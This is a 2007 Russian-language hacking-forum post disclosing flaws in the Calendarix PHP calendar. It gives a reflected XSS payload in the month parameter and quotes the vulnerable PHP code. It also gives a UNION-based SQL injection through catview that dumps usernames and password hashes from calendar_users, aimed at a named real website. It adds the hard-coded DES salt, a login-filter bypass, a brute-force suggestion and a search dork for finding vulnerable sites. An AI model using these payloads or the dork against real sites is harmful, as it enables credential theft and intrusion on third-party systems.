XSS и SQL-injection в Calendarix.

Discussion in 'Уязвимости' started by 1ten0.0net1, 1 Sep 2007.

  1. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Уязвимости подвержены многие версии, от версии к версии разнится только структура SQL запроса.

    1. XSS
    Пассивные XSS существует во многих параметрах, например, в $month :
    calendar.php?month="><script>alert(/XSS/)</script>

    Пример уязвимого кода в calendar.php
    PHP:
    echo "<a href='Javascript:void(0);' onclick=\"Javascript:wopen('cal_addevent.php?op=eventform&add_day=$i&add_month=$month&add_year=$year&catview=$catview','popupwin',".$addeventwin_w.",".$addeventwin_h.",'yes');\"><img src='images/plus.gif' alt='".translate("Add Event")."' border=0 valign=middle width=11 height=11/></a>" ;
    2. SQL-inject
    Уязвимость существует из-за плохой фильтрации значений переменной $catview (значение переменной должно быть ненулевым!!!)

    PHP:
    $query "select id,user,title,starttime,endtime from ".$EVENTS_TB." left join ".$CAT_TB." on ".$EVENTS_TB.".cat=".$CAT_TB.".cat_id where day='$i' and month='$month' and year='$year' and approved='1' " ;
    if (
    $catview!=0$query $query." and ".$EVENTS_TB.".cat=$catview " ;
    Инъекция в переменных $month; $year невозможна, т. к. скрипт сам задает дипазон значений этих переменных.

    Пример:
    http://www.3ringcircusproductions.com/calendar/calendar.php
    POST:
    catview=2+and+(0=1)+union+select+11,22,concat(username,char(58),password),4,5+from+calendar_users--

    P. S. Префикс таблицы по умолчанию calendar_
    Кол-во колонок в запросе меняется от версии к версии.
    Пароли пользователей шифруются по следющему алгоритму:
    PHP:
    $login preg_replace("/[';]/"""$login);
    Кстати, в ранних версиях, это можно было обойти при помощи URI-кодировки ('~%27)
    PHP:
    $crypt "we6c21end2r4u" ;
    $cryptpas crypt($password,$crypt);
    то есть криптует по DES алгоритму с использованием соли.
    На сколько я знаю, PassWord Pro может работать с солью. Если же я ошибаюсь, то можно написать маленький php-брутфорсер, читающий файл словаря, криптующий по этому же алгоритму каждую строчку и сравнивающую с существующим хешем. Только стоит ли... )

    dork: inurl:yearcal.php intitle:Calendar
     
    #1 1ten0.0net1, 1 Sep 2007
    Last edited: 1 Sep 2007
    7 people like this.